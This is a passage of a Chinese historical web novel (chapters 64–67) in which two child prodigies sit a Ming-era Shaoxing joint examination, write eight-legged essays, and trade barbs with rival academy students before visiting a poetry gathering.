回过神,周盈这才发现,自己半只脚都踏空了!后背一阵发凉,抬头看向对方。 只见小郭狐狸抱着胸:“你看你,人家说一句,你得想十遍。有意思吗?” “那刘宗周说的话,对也不对。要是全天下的人都像他那样畏首畏尾,做一件事还没行动,就开始担心起未来会怎么样,干脆就都别活了。” 64.第 64 章 “反正活着都是死,那还活着干吗?” 这话说的歹毒又好笑,但还真把周盈逗乐了。他叹了口气,明白郭奉孝这是纯逗他呢。 “说的不假,还是要听。番薯玉米要推行,一定是要给好处才能成,但给了好处,将来收不住又该怎么办呢?这也是一个难题。” 两个人提着衣摆,一步一步跨上楼梯,只听丝竹之声悦耳,不远处似有嬉戏趣意。 周盈也是摇头,语气多了些无奈:“这就是实践派和学术派的区分了。你也不能说学术派不妥,因他们确实提出了问题,但也不能全听,因他们提了问题,却没有解决法子。” “刘宗周为人正直,一生求‘理’高于人,这就是我们不能学,也要警惕的事情。他这样的人,做学问,是好的,可以当个活招牌,活碑铭,让人学着那点克己复礼。但做官的,做事情的,千万不要是这样的人。” 郭嘉笑了笑,说出了周盈心里那句话:“因为这样的人,谋名而高于谋权,这才是最可恶的。” “知我者,奉孝也~”周盈脚步一顿,也跟着笑了起来。 脚步从楼上走廊传来,紧接着,张岱抱着胸出现在了两人面前。 他心里也是无奈,知道周师弟是个什么性子,估摸着是还想着方才和刘宗周的那场对话。 就张岱来看,刘宗周这人,说话太绝对。 玉米番薯的政策,从当前来看是好的,那就是好的,现在的人饿不死那才是饿不死。至于十年二十年之后,那得等到那个时候,出了问题,再由人继续解决。 政策也是要人看着,办着的。 人又不是全死完了,出问题了还不会变通吗? 因而,张岱觉得刘宗周是那种,道理都懂,但不会做的人。 不是很喜欢这种人,古板,没意思。 说几句就开始跟他上价值。 “张师兄?怎么了?” “啊……我这不是出来找你们吗,怎么样?周师弟这是想通了?” 周盈看他脸上的担忧之色,莞尔一笑:“我倒是没事,不说这个了,去吃饭吧。” 此时,码头。 相谈甚欢,只觉依依不舍的陈夫子,看了一眼天上太阳。 一拍脑门,心想着坏了,饿着那帮孩子了。 但等到他转头一看。 背后光秃秃一片,萧瑟枯叶随风而落,颇觉凄凉苦涩。什么人都没有了,哪还有那几个所谓的孩子? 陈夫子,笑了。 气的。 手插着腰,叹了口气,摇了摇头。 “这帮兔崽子…” 临了下午,几个吃饱了玩够了的潘岳私塾学生,陆陆续续都赶到了绍兴府儒学门口。 这座由官方修葺建造的书院,自万历年来重新被翻修过,也是整个绍兴府最富盛名的书院之一。 “往年,来的人也没这么多,怎么今年感觉多了一倍不止?”张岱进门一看,不得空,大成殿门口都站满了人。 有的上香祭拜着孔夫子,有的则三三两两围在边上不知说着什么。 周盈看了一圈,倒也没看出什么稀奇,只是觉得比潘岳私塾更大,也更宏伟一些。 大家伙找到了陈夫子的时候,对方还在跟几个其他私塾和学院的夫子聊着些什么。 总之那股子社牛劲,也算是让一众潘岳私塾的学生们大开眼界了。 “这绍兴府儒学,卧虎藏龙,尔等万勿轻敌。”走在树荫长道,陈夫子捋着胡须,把自己打听来的那点情报一点一点都掰给了几个学生。 “稽山书院派出的一些学生里,其余几个不足为惧,但那陈岳,早年便有才名,于经纶之道上颇有见地,这是他的长处,也是咱们潘岳私塾的短处。” “证人书院今年派出的学生不多,今日上午,咱们见的那个赵琳,便是其中之一,汝瑛啊。” 被喊到名字,周盈抬头看向陈夫子:“夫子可是担忧我等今日交恶于赵琳,联考辩论之时,证人书院的人会故意刁难我们?” 陈夫子脚步停了下来,看着几个学生,一会儿东摸摸西摸摸,亦或是交头接耳半点不着急。 他这个做夫子的,反倒是比这帮学生,都要心急如焚了。 无奈笑着摇头,他道:“刘宗周是个什么样的人,想来你也知道了一些,我是不担心他对你们怎么样,但他教出的学生,视你们为学术之贼,将来在辩论场上,必然有一番交锋。” “至于稽山书院,虽暂未见过其人,但到底是整个绍兴府的第一学院,咱们这山野小院出来你们这两个神童,可想而知,稽山书院的人会怎么想?” 郭嘉闻言,心里也是有点不爽,他最讨厌以出身评人之高低,嗤笑了一声:“说的以文会友,可到底也是拿出身狗眼看人低罢了,咱们几个山野小院出身的,反倒是还成了他们的眼中钉和肉中刺了。” 张岱倒是皱眉:“文人傲气,素来如此,总归还是能理解的。但那证人书院的赵琳,公然挑衅我等,这口气,我反正是咽不下去。” “宗子说的是,夫子,您就是太担心了。” 陈夫子皱眉看了几个起哄的学生,对方顿时缩了缩脖子不说话了。 “学术之辩,哪有那么简单?这次来的这些学院,大多是奔着你二人来的。” 周盈和郭嘉闻言,都有些稀奇,他们名声竟有这么大吗? “你二人当年入学,辩荀卿之经义,行经世之所学,又因玉米番薯,得皇上钦赐封赏。此已非寻常末流。” “我朝建立以来,崇朱子阳明子之学,重格物,知穷理,辩心性。此乃理心之经纶。” 陈夫子这话说的绕来绕去,但其实听起来也就那么回事。周盈心里不觉有趣,这心学理学,说好有坏,说坏也有好。 朱熹王阳明开创发扬两个流派,本是想以心为本,以理为本,教人学一学,天地是如何以不争而闻名。 但传着传着,反倒是传歪了。 现在的大儒和士人,空学了那居高临下的侃侃而谈心性,却不知有一些人,想吃饱饭都很难。 “夫子的意思是说,这些人如今是奔着咱们来打擂的?这是借着联考的名头,搞学派之 争咯?”郭嘉嘴快,也最看不得这种人。 他只觉得这样的人,远要比那些谋权者可恶。因为谋权者为了谋取权利,总归是要做点事情的。 但是谋取名声的,那就是为了自己那点清誉,连浑水都不肯淌,还要反过来指责做事情的人。 这就不叫清高了,这叫自私。 “诶…这也是我最担忧的事情。”陈夫子没有反驳,长叹了口气。 张岱和杨业皱起眉:“事情有这么严重吗?” “前些日子,曹谨行已经回了京畿,巡盐的事情完成的很顺利,皇上龙颜大悦。也因着番薯玉米之嘉种,封赏了曹谨行。”陈夫子没有回答两个人,反而是转了话头。 一下子,周盈就回味过来了。 这可就不仅是学派之争了。 “好了,暂不说这个了,号舍到了,你们进去看看,明日第一轮经义,还需多温习温习。” 一群人脚步停下。 只见,号舍门口,早已站了好些人,大约都是过来看看明天的考场是什么样的。 陈夫子不再多说,周盈几个人便也走进门去。只见左右五十余间隔开,每间高六尺,深四尺,宽三尺。 空间颇小,仅融一桌一椅,坐下便堪堪顶头,实在难施展开。 这便是照着乡试府试规格建的,学生们需在此间考上几日,期间吃喝拉撒,都是在里面解决。 不过好在,这次是联考,倒也不用如此折磨人。 周盈和郭嘉身形小,坐进去还挺宽敞,张岱一行人就不太行了,他们坐进去就显得捉襟见肘。 “小师弟,夫子担忧倒也不假,你是不知道,咱们绍兴府,每年出去的贡生有多少,科举取的人数,万分之一都不到。想要有功名,那就只能踩着同龄人往上爬,你和郭师弟现在,就是大家伙眼里头的劲敌。” “谁要是能把你们辩倒了,谁就能一飞冲天出名了。”这话是张岱说的。 从舍屋出来,张岱叹了口气,那些人什么德行他能不清楚吗?还不就是觉得几个七八岁小孩出名都不过是凭借了些运气。 酸! 这会儿倒是不说什么尊老爱幼了,各个摩拳擦掌着,想把两个小师弟拉下来。 人啊,做事不能太势利,不然就太虚伪了。 周盈笑了笑:“不用担心,他们想辩,那放马过来就是,说到底,祸兮福所依,这谁笑到最后还不一定。再说了…” “学派之争,总归也是一道要跨过去的槛。” “嗯?”张岱有些不理解他说的话。 边上路过的士人,偶有转头看向他们的。几个潘岳私塾的学生们都从舍屋走了出来,不多时也就都汇合齐了。 “怎么了?在聊什么?” “没什么,都参观完了,也该走了。” 一群人看着周盈什么都没说,转头走向门口,也都有些摸不着头脑。 郭嘉皱眉,不知道心里在想些什么。 等出了儒学院,已经是黄昏时分,念着明日早上的联考,几个人也就没再去逛点别的,直接回了快园。 65.第 65 章 快园,在龙山北麓,离绍兴府儒学院,半个时辰左右的路程。 “我爹,跟这快园的主人家,有些交情,知道咱们来绍兴府联考,便暂让我们借住一段时间。”张岱说着,便往前走去,衣带当风,步履矫健。 入了院,便见左右苍柏郁郁葱葱,假山流水潺潺如溪。院子清净,除了打扫的仆人,便再无其他。 “张师兄这人脉,可叫我等见之汗颜。” “周师弟可别笑话我了,老头子是听说,你和郭师弟也跟着来,这才找了关系,叫咱们住进来,” “要是光我一个,我爹才不会这般大费周章,只会叫我自己随便找个地,冻不着就行!” 说到这,张岱心里都要嘀咕了,到底谁才是亲生的! 他这话说的,几个人都忍不住笑了。 周盈莞尔。 夜深月浓。 经一天劳累,一行人也都各自回了屋。碍于潘岳私塾的人数颇多,周盈和郭嘉便暂只能挤一挤了。 吹干了发。 周盈打了个哈欠,拿起书翻开要读。 却被一只手拽着,放回到一侧。 郭嘉穿着单衣,盘了盘腿,找了个舒坦点的位置:“此事蹊跷,我倒是觉得夫子之言,提点了我们一些事情。” “嗯?”周盈另拿了一本书看了他一眼,便低下头继续翻开。 “哎!你别看了。”小郭狐狸自个不愿意学,反还抄起爪子阻止别人学! 眼看着第二本书都被拽走,周盈也是无奈:“你到底想说什么?” “我说正事,曹谨行是东林的人,没帮着东林办成打压浙党的事情,反倒是得了皇帝的封赏,你难道不觉得奇怪?” 这倒……还真是个问题。 白天陈夫子说的事情太多,多数是关于联考的事情,这点细节,倒是被直接一嘴给带过了,周盈也就没有细想。 郭嘉耳朵尖,听着就觉不对,这一提出来,便让周盈也觉得蹊跷起来。 他低头摸着下巴,皱着眉,眼神间带着几分迟疑:“奉孝是说…这曹谨行,或是皇帝推出来的一把刀?” “我是这样觉得,否则说不通。玉米番薯能不能成,总归对皇帝都没什么损失。” 这话说的确实是有些道理,周盈轻啧了一声,光靠这几手的消息,分析整个朝野局势,还是太勉强,他也不能全猜出什么。 揉了揉额角,想了想开口说道:“不管是不是,事情也只能这样继续办,番薯玉米一定要推,明日的联考也一定要赢。” “绍兴府的这些学生,将来有不少都是要入朝为官的,咱们现在争的是学派正统,将来可就是朝野的话语权了。” 说完这话,周盈站起身,伸了个懒腰。 “好了,天色太晚,我看啊,还是先睡觉吧,明天一早就要考试。”他说着话,转了身。少年窈窕挺拔的身姿在灯火下,竟显了几分瘦劲,隐约可见薄肌弧线一路往下…… 郭嘉一挑眉,语气带着几分戏谑:“你这日日勤练,倒还真练出来些名堂来。” “……”周盈闻言皱眉,猛放下手,看了他一眼。 郭奉孝无辜眨眼。 周盈无语,不想理他,走到床边掀起被子躺下。 灯吹灭,一夜……不好眠。 第二日一早,眼底下飘了些青黑的周盈,状态看起来实在不怎么样。 张岱几个人见了,都吓了一跳:“周师弟这是怎么了?” 周盈呵呵一笑,看了一眼正埋头吃早饭,脸上带点儿心虚的郭嘉。还能怎么,当然是这家伙睡姿太差! “咳……汝瑛怕是认床,昨夜没休息好。”小郭狐狸擦了擦嘴,一副理不直气也壮的表情。 几个人目光有些诡异。 张仿佛恍然大悟,看着两个人,然后嘴角一抽,脸上一副欲言又止的表情,神情间透露出些许难言之隐。 “这…周师弟,虽说……二位‘抵足同眠’,果然兄友弟恭,感情深厚,实令……人‘佩服’,但这……”他说着又又又看了一眼郭嘉。 郭奉孝:“????” 周盈:“噗——!咳咳咳!咳咳!” 一口粥实在是没忍住。 张岱到底想歪到哪里去了!都当人跟你一样呢! 几个学生目光都诡异了几分,当下就有人脸色复杂,语气带着些为难:“郭师弟…这、兔子不吃窝边草,再怎么也不能对——” “去去去!瞎说什么!”小郭狐狸炸毛了,手抄起桌上的包子朝着人砸过去。 “你们是疯了不成?!这种事都敢瞎胡闹?” 周盈黑着一张脸,擦了擦自己的嘴角,这会儿是彻底都没胃口了,心想着这都什么跟什么。 昨夜是郭嘉踢被子,踢就算了,反正两个人两床被子,他踢不着自己的。 但郭奉孝还喜欢抢他被子。 应是踢完自己的,觉得冷了,就凑过来挤着他了,然后周盈因为这个事一晚上就没睡好。 解释了一番,几个人都以同情目光看着他。张岱这会儿才是最尴尬的,脸色都红了一片,实在是… “怎么?吃完了?吃完了就早些上车,再晚些就迟到了。”走过来的陈夫子,见桌上气氛诡异,皱眉看了众人一眼。 几个学生忙低下头,手扒着碗里的粥。 周盈呵呵一笑,算了,没兴趣吃了。 卯时三刻。 绍兴府儒学院门口,马车云集。 堵了好长一段路。 潘岳私塾一行人提前了半刻钟,好歹是没被堵在路上。这一进门就直奔舍屋,路上的落叶尚未来得及扫去。 今日是考经义,大约是从四书五经中,抽取一句出来,翻译一下是什么意思,然后对这句话写个小作文。 当然,这小作文也是有要求的,须以八股文的格式写,否则就是不入流。 这玩意儿郭嘉最讨厌,因为太死板。 周盈从自己的包袱里拿出了笔墨砚台来,这种东西都是要自己带的,考场不供给。 卯时五刻,考试开始。 考场顿时安静下来,只余下一些磨墨蘸笔的声音。走在舍屋间巡视的中年男人,身着一身红色官袍,头戴乌纱帽,整个人看起来板正严肃,约莫五六十的样子。 这位便是绍兴府县,萧良幹。 周盈收回目光,看了一眼考题。 题一曰:君子和而不同,小人同而不和。 这是出自《论语·子路》的。 见着题目,周盈便皱了皱眉,倒不是说难,是这道题目太平,太稳。 不过倒也并非无笔可下。 笔墨以破题为启。 “君子无所同谋者,谓苍生尚兴和,小人无所求和者,谓天下无大同。和者,天下之达道也,同者,人欲之私情也。” 承曰: “盖和者,心谋理之所长,公而无我。同者,心谋私之所长,徇物丧己…… ……” 入题: “且所谓和者,岂必无所拂于外乎?义曰,以天下之劳疾弊困谓所争,虽违众而不避之……” 倒也不是说周盈喜欢写这些废话,实在是八股文里,必须全写废话。这考的除了学生文章做得好不好,更重要的是马屁拍的考官舒不舒心,皇上满不满意。 想从科举上卷出名堂,周盈也就不得不捏着鼻子忍了。 他解题思路清晰,倒也不卡壳。 但这会儿考场上,已经有不少的学生开始抓耳挠腮了。 第一解完,张岱这会儿是深深松了一口气,还好还好,第一天不怎么难。 且看第二题曰:所谓诚其意者,不失其赤子之心者也。 张岱:……?这是一句话吗? 撩起袖子,张岱轻啧了一声,这两句,第一句是出自《孟子·离娄下》,第二句出自《大学》。偏是各摘一句凑到一起,也真是出题颇为刁钻了。 这便是截搭题。 张岱想了想,脑子灵光一闪,下笔倒是如有神助。 破题曰:“诚者,夫,赤子诚心也,意乎与其心,行乎与其理……” 考试过半,这会儿考生们的水平也就都逐渐的显现了出来。 水平稍微好点的,四道题目都已经答完了前三题。水平一般的,前两题也都答的差不多了,次一些的,便只是磕磕绊绊,连第一题都答的勉强。 萧良幹巡视了一圈,见稽山书院的几个学生,专心致志,手中笔杆子未曾停下,不免也颔首几分。稽山书院是绍兴府最有名的学府,教出来的学生素来是考场上数一数二的精英。 穿着浅绿斓衫,头戴方巾的一位年轻学生,约莫十六七岁,面容俊逸。手中毛笔写下最后一字,随后缓缓放下。 萧良幹见状,不免诧异,这会儿考试时间过去了四分之三,大部分都还在刚落笔破第四题,这年轻学生反倒四题全都写完,速度实在惊人。 而另一边,郭嘉咬着笔杆,看着第四道题目。 题曰:宋人伐陈。天王使凡伯来聘。 郭奉孝:? 不对,不对劲。 这俩是一句话吗! 郭奉孝心里骂骂咧咧,翻了张草稿纸摊开,手上的笔唰唰唰的写着什么,路过的萧良幹见状,不免好奇观看。 哦,在背书呢。 《春秋》曰:宋人伐陈。夏,卫石买帅师伐曹。 《春秋》又曰:秋,公伐邾。冬,天王使凡伯来聘。 前者的意思是:宋国出兵攻打陈国。夏天,卫国的石买率领军队攻打曹国。 后者的意思是:秋天,鲁国国君攻打邾国。冬天,周天子派遣大夫凡伯来鲁国进行聘问。 二者意思,前言不搭后语,且完全没什么强关系。郭奉孝停了笔,皱着眉,心想:这出题人,刁钻成什么样了!把考生当倭寇整! 心里嘀咕归嘀咕,题还是得解的。 好歹是千年老狐狸,你考点别的他郭奉孝估计还真就两眼一发蒙,但考的是《春秋》嘛…… 郭嘉翘嘴一笑,似乎想到了什么。 笔一蘸墨。 破曰:“宋人伐陈,此诸侯之所以强也。天王使凡伯来聘,此王室之所以弱也。强弱之势,不在一时,在百年积渐耳。” 66.第 66 章 承笔:“昔者太公论政,曰‘强国之民,弱国之民’。诸葛论势,曰‘益州疲敝,此诚危急存亡之秋也。’今观周室之于诸侯,犹老病者之衰。何也?其势异也。请陈十胜十败之说: 入题:宋伐陈,诸起兵,自相攻,不复禀,此其所以强也。天子使,屈尊交,以求重,此其所以弱也。弱在屈,屈则纲纪尽废,莫之能振,此强弱之势一也。 …… 宋伐陈,诸侯视之,以为当然,强在人心附之。天子使,诸侯受之,以为固然,弱在人心离之。此强弱之势四也。 宋伐陈,其志在广地,强在所欲,有欲则奋发之,日夜谋强。天子使,其志在安坐,弱在无欲,无欲则徇苟且,日以偷安。此强弱之势五也。 …… 宋伐陈,强人和。天子使,弊人心。此强弱之势九也。 宋伐陈,其国富,谋臣良,强在得人。天子使,其国贫,谋臣弱。此强弱之势十也。” 落曰:“此十者,周之弱败,诸侯之胜形也。” 萧良幹见之,心中不觉惊讶几分。这题难度他素知晓,《春秋》本就是令众多学生觉得头疼的经文,若是在考场碰见,多要败下阵来。 盖因其学问深究,通人性幽微,实非寻常人可深查。 一般学生,大约也就是写:宋人伐陈体现了周礼崩坏,凡伯来聘体现了周室尚存。 多以批判礼乐崩坏,推崇礼制风化的角度写。 虽算不得错,但也无功无过。 但这名学生,破题之角度,却以将二者同时对照,呈以强弱之辩,解其利害关系。 确有非凡之处。 萧良幹颔首几分,见这学生也就七八岁年纪,只觉天资不凡。皱起眉,想到前些日子,出了名的两个山阴神童,似也就这般年纪。 不免得,心中愕然,莫不是…… 郭嘉觉得眼前阴影一晃,再抬头,就看到萧良幹的影子朝着前方走去,步履带着些许急促。 眨了眨眼,也没想太多,反倒是直接一丢笔,手撑着脸颊,只等着考试结束。 那边,周盈也放下笔来,看着四题解完,心中虽无甚不满,却也知解的太四平八稳。他的长处不在这,这纸上谈兵,实在是难为他。 能保住名次,就算成功。 酉时五刻,考试结束。 考场内,顿听一阵哀嚎。有写得慢的,这会儿第四题才刚开始解,可想而知,这经义排名,怕是只能排到末流。 卷子收上去,几个穿着官服的大儒和萧良幹不知在说些什么。 周盈从舍屋走出来,便见到张岱白着一张脸,一副被吸干精气神的模样。手颤抖着搭上他肩膀,叹了口气:“那考题,出的实在是刁钻!这前三题也就罢了!第四题,我实在是琢磨不出该如何破。” “截搭题实在可恶!到底是何人想出这般折磨人的题目!”一声气急败坏的声音响起。 两个人看过去,哦吼,是沈越。 沈越这会儿脸色也铁青了几分,显然是被那两题截搭题折磨的不轻。 陆陆续续走过来的潘岳私塾一众学生,这会儿脸色都不怎么好看,大家伙对这次的答题都没什么把握。 “小师弟,你写的怎么样?” “那第四题,瞧着像是说周室微弱,可偏还要搭上一句诸侯之强的经文,我见着……如见无字天书。” “欸……也不知第四题解出来的人有多少。” 大家伙看了一眼考场内的学生们,不少人这会儿也都是面如菜色,足可见,这截搭题,倒还真是的难了。 郭嘉走了过来,看着这几个人脸色发白,挑眉道:“怎么了?莫不是饿着了?” “……” 周盈无奈一笑:“几位是被题目难住了,奉孝想必解的轻松?” “啊…马马虎虎吧,我觉得写的一般。” 也就在一群人都围着嘀嘀咕咕,交流答案的时候。 从舍屋出来的那道青绿影子,引了周围几个考生的注意,一时间都围到了一起。估摸着是一个学院的。 “少云师兄!师兄解题如何?” “师兄,这第一题第二题倒也还罢,可那第四题,我实在是难以理解其原由。师兄是如何解的?” “截搭题难,难就难在如何理解意思。诶……我等实在是学艺不精啊。” 年约十多岁学生们也都是脸色各异,唯独陈岳这会儿神情依旧,听着众人言论,垂下眼睑,想了片刻言:“此题非是难,意在于大势之微末。我等若是光从周室微弱,诸侯渐强去看,便是无法得其要领。” “但诸侯为何强之于周室?周室又如何弱于诸侯?二者必然有其蹊跷。” 陈岳语句不急不缓,见众人略有深思,不免莞尔:“周以礼仪守天下,诸侯以王霸争天下,此非道彼昔之异邪?” 有人恍然:“哦!少云师兄是说,正是因周室守旧于天下,不知忧患于安逸之危,才得以让诸侯争天下于王道?” 几个围在他身边的同窗顿觉醒悟,有人一拍脑额,懊恼不已:“我这便是全都答错了!” “羞愧,我竟也是半点门道都未摸透。” 陈岳没有再说什么,只是笑了笑。 见前头一群人谈论声音大大小小,陈岳便也好奇看了过去,只瞧见。两位七八岁左右的少年,被几位年纪稍大的学生围了个严严实实。 心里不免得迟疑,想着莫不是潘岳私塾的那群人? 昨日码头一番辩论,已叫这未见其人,便闻其声的潘岳私塾,在绍兴府出了名。 陈岳自周盈和郭嘉在山阴县有了名声以来,便时时关注着,听两人来了绍兴府,总想着找个时间拜访一番。 今日,倒是在考场上碰见了。 “欸?少云师兄去作甚?”几个稽山书院的学生有些好奇地看着陈岳脚步往前。 这厢,潘岳私塾一群人这会儿就几道经义题目,鬼哭狼嚎,哀声载道。 那厢,便闻一道清润声音响起:“敢问,可是潘岳私塾的同窗?” 嗯? 众人稀奇,竟在考场还有人攀谈? 几个人转过头一看,便见一 身影修长挺拔,身着浅色衣衫,面容清俊的男子。 张岱迟疑了一会儿,开口道:“敢问仁兄,是哪个书院的?” “哦,在下陈岳,是稽山书院的学生。”陈岳直接自报家门,行礼间,不卑不亢。 稽山书院? 周盈闻言心里思忖了一下,先前早听闻过大名,不曾想是对方先来拜访他们。 端看这陈岳,气质不凡,谈吐举止周到,倒也难怪,能叫陈夫子视之为劲敌了。 “这位,便是潘岳私塾的周盈周师弟了吧?” 被点了名,周盈也只能行了一礼:“素闻陈师兄大名,稽山书院能人辈出,看来这次联考,倒叫我要捏把汗了。” 陈岳眼睛亮了几分,清秀脸上带了些笑意:“师弟先前所著那篇策论,我观之才觉真金无惧泥沙俱埋,读之,只觉剖析甚尖,盐课弊政,字字入理。” 这倒是……真有趣了。周盈心想,这陈岳倒还读过他写的策论。 “少云师兄,你跟他们多数什么?小地方来的学生,也就只能找点偏门,写个策论投机取巧罢了。” 跟上来的几个稽山书院的学生闻言,心里都有些不太舒服。 稽山书院是什么学府?那可是整个绍兴府第一书院,是范仲淹所创,朱子、阳明子都曾在这里讲学辩经的。 这傲气是理所应当,也是理直气壮。 郭嘉一旁闻言,心里翻了个白眼。 陈岳脸色有些变化,朝着同窗师弟说话的时候,语气也少有的重了一些:“咱们这些做学问的,为的就是他日功成名就,可为国分忧,为民解难。卿衡这句话说的,实在是不妥。” “周师弟提出《浙江盐课弊政疏》,能将盐课之弊端说的有条有理,本已是难得,更加之三条治标之策,时政可用。三条治本之策,长远可行。其之所思,已不在方寸之间,却早看向了十年、二十年之久。” “此非寻常人,实乃叫我想起,《三国志》中,敬候献魏武帝之策:深根固本以制天下。亦无外乎于此了。” 敬侯,是荀彧死之后,曹操为其封的谥号。 “……” 见周盈和郭嘉脸色有点复杂诡异,陈岳语气一顿,带了些许迟疑:“如何?可是在下说错了什么?” “呃……呵呵,说的挺好的。少云师兄素有才学,竟连《三国志》都通读了。是让我们两个做师弟的,惭愧汗颜。” 周盈笑了笑,紧接着郭嘉嘶了一声,手猛往后伸去,也不知道做了些什么。 不过显然从出神状态回来了。 并且露出一个尴尬不失礼貌的笑容:“汝瑛说的是,少云师兄……呃,真有文采!” “准备科举日夜诵读四书五经,却连敬、敬候的生平事迹,都了解恶的如此清楚。还真是令我等钦佩。” 郭嘉嘴上说着,心里那是尴尬的恨不得找个洞钻进去。 这叫什么? 这叫你得装着和你的前同事不熟悉,然后还要跟人聊你前同事死后的名声真美! 赞一个伟大的前同事,荀文若。 67.第 67 章 周盈心里这会儿也是呵呵了,很难不去脑补郭奉孝现在到底在想什么。 倒是陈岳,闻言眼睛更亮了:“是极,我拜读无数史书,最敬仰者,便是敬候荀卿。” “借势以行道义,扶大厦之将倾,行礼法之王道,立儒学之圣绝。此无外乎敬之一字。” “……” “嗯?二位……脸色为何如此奇怪?” 郭嘉咳了一声:“那个…若是荀卿知道,将来有这样一个后辈,知他之所行为何,倒也算是其志有知音了。” 陈岳闻言,也不免惋惜:“只可惜,所托非良人。” 郭嘉“嗯?”了一声,下意识看向周盈。 周盈:…… 轻咳一声,素衣的周神童仿佛是,这会儿才回过神:“少云师兄,言敬候立儒学之圣绝?莫不也是疑其为荀子之后?” 听他说这话,陈岳一愣,眼睛睁大了几分,张了张嘴,竟是一时间未能说出什么。 周围几个稽山书院的学生听了周盈的话,顿时脸色都不太好了,在这大庭广众下提起荀子,那就是跟主流儒学对着干。 “周神童学术不精,竟不知荀子言之‘性恶论’,实非正道,乃是末流。” “以末流奇巧扶风而上,他日焉知不会摔得更惨?还是要把学问地基打扎实才是。” 几个人说着都笑了起来,不少被吸引过来的其它学校的学生,也跟吃起了瓜。 “我还以为,潘岳私塾的周神童有何能耐?原来竟是连末流之学,都视之为宝,反倒弃那圣人学问不顾,倒还真是……” “难怪,难怪取番薯玉米这等农学之物,以投圣心。倒还真是,学了个揣摩圣心了。” 这些话实在说的刻薄,潘岳私塾的几个人猛转过头,瞪了那些人一眼。 嗤笑声更大了。 周盈倒是不在乎这些,乌合之众,何须在意呢? 郭嘉听的烦,啧了一声,抱着胸:“吵什么,嘴巴那么利索,那你倒是说说,能拿出什么法子,让百姓吃饱饭?” 说着,他伸出手猛指一人。 “还有你!荀学是末流,那你呢?你有什么学问拿得出手?胆敢在这大庭广众之下,嗷嗷犬吠,你做出比荀卿更厉害的事了吗?” “我…”那人被点名,顿时愣了一下,随后脸色一变:“荀子之言,本非我朝正道,如何不能言之?” “哦~那你的意思是说,荀子之言为末流,咱们的玉米番薯也是末流?那让人怎么吃饱饭,也是末流?” “是不是只要做学问的,嘴里说几句,地里就能长出粮食来?” 嘿……刁钻。 一群人听了,竟还真琢磨起来,这话说的好像有毛病,好像有又没毛病。 感觉被地图炮了,又觉得好像说的不是自己。 “你!” “我什么?我实话实说。” 郭嘉这也是憋久了,本来他也懒得跟这些人掰扯,实在是自打来到绍兴府,遇到的人有一个算一个,哪带了什么脑子呢。 “吵什么?吵什么呢?”见着这里围着的人越来越多,绍兴府儒学院的大儒脚步匆匆走来。 这大儒在当地颇有名声,本次阅卷有他在内,名吴可大。 见着他来,学生们顿时都忍下了脾气,也没一开始那么耀武扬威了。 陈岳行了一礼道:“吴先生,学生们只是在论道,难免因见解不同,而有些小争执。” 吴可大见是他开口,脸色稍霁:“好了,考都考完了,天色也不早了,尔等速速散去吧,好生准备明日之策论。” “是,学生谨记教诲。” 一场闹剧,随着不欢而散落下帷幕,一场谈话,也因此戛然而止。 出了绍兴府儒学,张岱颇不爽的开口道:“那帮稽山书院的人,当真是本事没有,脾气挺大!” “我说,小师弟能把番薯玉米拿出来,还能写成策论说服皇上。那就是有本事!” “做文章,考科举的,不都是为了将来有朝一日入朝为官,自己的策论能叫朝廷认可吗?” “他们倒是酸的很,好的都说成了坏的!” 一旁的杨业闻言,叹了一声道:“所谓,文无第一,武无第二。文人之间,互看不顺眼,也不是一天两天的事情了。” “便是朝野里头,那浙东出身的看不起南直隶的,南直隶出身的看不起北直隶的,素来有之,咱们这也还算好的了。” “宗吕,你这话说的,可让人不爱听了。” 听着几个人在旁边争辩,周盈倒是没开口插话,想着些什么,低头往下走。 “好了,这天色都这么晚了,咱们倒还是想想,等会去哪边吃饭吧。” 一直不曾开口的沈越闻言,看了张岱一眼,想了想道:“我倒是知道,今日绍兴府有个诗会,诸位不知可有兴趣前去一观?” “嗯?青山这提议倒是不错,咱们反正晚上闲着也是闲着,倒不如去凑凑热闹看?” “周师弟?”几个人望向一直思忖的周盈。 “啊?” 郭嘉指了指沈越。周盈似乎是反应过来了什么:“方才是沈师兄说要去诗会?” “是极。”沈越脸上表情缓和了一些,说话的语调也轻快了一些。 “是因着这次绍兴府联考,几家私塾学院的学生们提起的,我得了消息,这便想着干脆潘岳私塾的同窗一道去看看。” “啊?为什么我没收到消息?”张岱疑惑了,他人缘很好的呀。 哦不对,他那些狐朋狗友,早就被两个小师弟骂跑了。 张岱心里苦中作乐,好歹……好歹跟着小师弟们混,能让自己进步!嗯! 入了夜的绍兴府,灯歌画舫,霓乐绯靡。 河上水波粼粼,花灯随着船舫划过,掀起些许波澜摇曳。 磷如星点,却是星星之光,照得左右两侧街道热闹非凡。 吆喝的小贩,云集的文人墨客,见之便觉人海如云。 画舫内部空间很大。左右挂满了彩绸,一登船,就能听见不远处传来的琵琶弹唱声音。 “嗯?这弹唱者所弹之乐,颇有秦淮之柔,听这口音,定不是绍兴本地人。” 几个人看 向张岱,对方眨了眨眼睛:“怎么了?绍兴话弹唱又不好听。” “……”有你这么说话的吗。 “我觉得莲花落挺好听的,你是不懂品鉴。”沈越都不想说他那品味了。 “什么意思?你才不懂呢,跟你这种不知秦淮小调趣味的人,说不到一块去。” 行吧,这两人又吵起来了。 周盈几个人绕开张岱和沈越二人,他俩还在辩论到底是莲花落好听还是秦淮小调好听。 呃…某种程度上来说,这俩的冤家也是做得不冤。 都太无聊。 “哟,今儿是绍兴府联考学生的诗会,几位小相公,是哪个私塾的人呀?”上前迎接的小厮脸上挂了笑,忙开口问道。 “我们是潘岳私塾的,你们这诗会的东是谁?”开口的是杨业。 周盈和郭嘉是纯来参观的,第一次参加这种诗会,也不知道里头的规矩,想来就来了。 “哎呀,原来是出了两位小神童的潘岳私塾。”那小厮听了话,脸色顿时一变。 再打量了周郭二人,不免也稀罕几分:“两位小相公生得标致聪明,想必就是周神童和郭神童了?” 周盈颔首:“烦请问,这船上来了多少人?” “您是问对人了。咱们这画舫,是整个绍兴府最大的,能容下七十多号人呢,今儿在里头的,也有三四十个相公了,都是些来绍兴府考试的。” “这主持的呢,是证人书院的赵琳相公,是他办的这场诗会。” 几个人闻言,脸色都变了一下。 小厮眼见,看了几人一眼:“可是小的说错了话?” “无妨,我们只是过来瞧瞧,你也别尽说我们来过,在场外给我们上壶茶水,点心就是了。” 周盈不是想和赵琳继续掰扯闹出事情,他纯粹是怕麻烦。 郭嘉闻言也是无奈:“本想着过来玩一玩,放松一下,不成想倒是来了个龙潭虎穴了。” 杨业抿唇,想了想:“若是小师弟们不想留在这,咱们倒不妨下了船,去玩些别的?” 